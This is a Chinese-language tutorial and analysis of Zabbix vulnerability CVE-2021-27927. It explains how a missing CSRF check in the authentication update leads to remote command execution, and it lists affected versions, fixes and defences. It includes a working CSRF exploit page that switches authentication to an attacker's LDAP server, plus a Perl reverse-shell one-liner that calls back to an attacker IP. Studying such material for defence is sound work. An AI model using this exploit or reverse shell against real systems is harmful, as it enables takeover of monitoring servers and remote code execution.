详解CVE-2021-27927漏洞:从CSRF到RCE
字数 1546 2025-08-06 08:35:41
Zabbix CVE-2021-27927 漏洞分析与利用教学文档
漏洞概述
CVE-2021-27927 是 Zabbix 企业监控系统中存在的一个高危漏洞,该漏洞结合了 CSRF(跨站请求伪造)和 RCE(远程代码执行)两种攻击方式。攻击者可以诱骗已认证的 Zabbix 管理员点击恶意链接,从而完全接管 Zabbix 系统并获得远程命令执行权限。
受影响版本
- Zabbix 4.0.28rc1 之前的 4.x 版本
- Zabbix 5.0.8rc1 之前的 5.0.x 版本
- Zabbix 5.2.4rc1 之前的 5.2.x 版本
- Zabbix 5.4.0alpha1 之前的 5.4.x 版本
漏洞背景知识
CSRF 原理
- 受害者已登录目标网站(浏览器存储有效会话 cookie)
- 攻击者诱骗受害者点击恶意链接(通过钓鱼邮件、聊天等方式)
- 恶意网站代码向目标网站发送 API 请求
- 浏览器自动附带受害者的会话 cookie
- 目标网站无法区分合法请求和恶意请求,执行攻击者指定的操作
Zabbix 的 CSRF 防护机制
Zabbix 通常使用反 CSRF 令牌(sid 参数)防御 CSRF 攻击:
- 令牌通过请求正文传递
- 后端同时验证会话 cookie 和反 CSRF 令牌
- 缺少或错误的
sid参数会导致请求失败
SameSite Cookie 属性
现代浏览器默认设置 SameSite=Lax,这意味着:
- 仅当请求是 GET 且影响顶级导航(如点击链接)时才发送 cookie
- 加载图片或脚本等非顶级导航请求不会发送 cookie
漏洞详情
漏洞位置
CControllerAuthenticationUpdate 控制器类在处理身份验证设置更新时关闭了 CSRF 令牌验证。
漏洞利用特点
- 无需 CSRF 令牌:身份验证设置更新操作不验证
sid参数 - GET/POST 等效:Zabbix 允许通过 GET 请求的 URL 参数提交原本需要 POST 的数据
- 非盲打攻击:Zabbix 会测试 LDAP 连接,攻击者可立即知道攻击是否成功
漏洞利用步骤
第一阶段:CSRF 攻击接管账户
-
搭建恶意 LDAP 服务器
- 设置攻击者控制的 Active Directory 服务器(示例 IP: 10.0.229.1)
- 创建与 Zabbix 管理员同名的用户(如 "Admin")
- 设置已知密码(如 "Z@bb1x!")
-
创建恶意 HTML 页面
<html>
<body>
<p>Any web site</p>
<a id='link' href='http://[target]/zabbix.php?form_refresh=1&action=authentication.update&db_authentication_type=0&authentication_type=1&http_auth_enabled=0&ldap_configured=1&ldap_host=10.0.229.1&ldap_port=389&ldap_base_dn=dc%3Dsmoke%2Cdc%3Dnet&ldap_search_attribute=sAMAccountName&ldap_bind_dn=cn%3DAdmin%2CCN%3DUsers%2CDC%3Dsmoke%2CDC%3Dnet&ldap_case_sensitive=1&action_passw_change=authentication.edit&ldap_test_user=Admin&ldap_test_password=Z@bb1x!&saml_auth_enabled=0&update=Update'></a>
<script>document.getElementById('link').click();</script>
</body>
</html>
- 诱骗管理员点击链接
- 攻击成功后,Zabbix 身份验证方式将改为 LDAP
- 攻击者可用 LDAP 中的凭据登录
第二阶段:远程命令执行
-
利用管理员权限访问 Scripts 功能
- Zabbix 内置脚本功能允许在服务器/代理上执行命令
-
创建或修改脚本
- 示例:修改"Detect Operating Systems"脚本添加反向 shell payload
perl -e 'use Socket;$i="[attack_ip]";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' -
执行脚本获取反向 shell
- 在仪表板执行修改后的脚本
- 攻击者监听端口接收 shell
漏洞修复方案
升级至以下修复版本之一:
- Zabbix 4.0.28rc1
- Zabbix 5.0.8rc1
- Zabbix 5.2.4rc1
- Zabbix 5.4.0alpha1
防御措施
- 及时更新 Zabbix 到最新版本
- 限制 Zabbix 管理界面的访问(IP 白名单、VPN 等)
- 对管理员进行安全意识培训,防范钓鱼攻击
- 监控 Zabbix 配置变更,特别是身份验证设置
时间线
- 2021年1月3日:漏洞披露
- 2021年1月13日:供应商修复
- 2021年3月3日:公开细节
参考资源
- Zabbix 官方 GitHub
- CVE-2021-27927 漏洞详情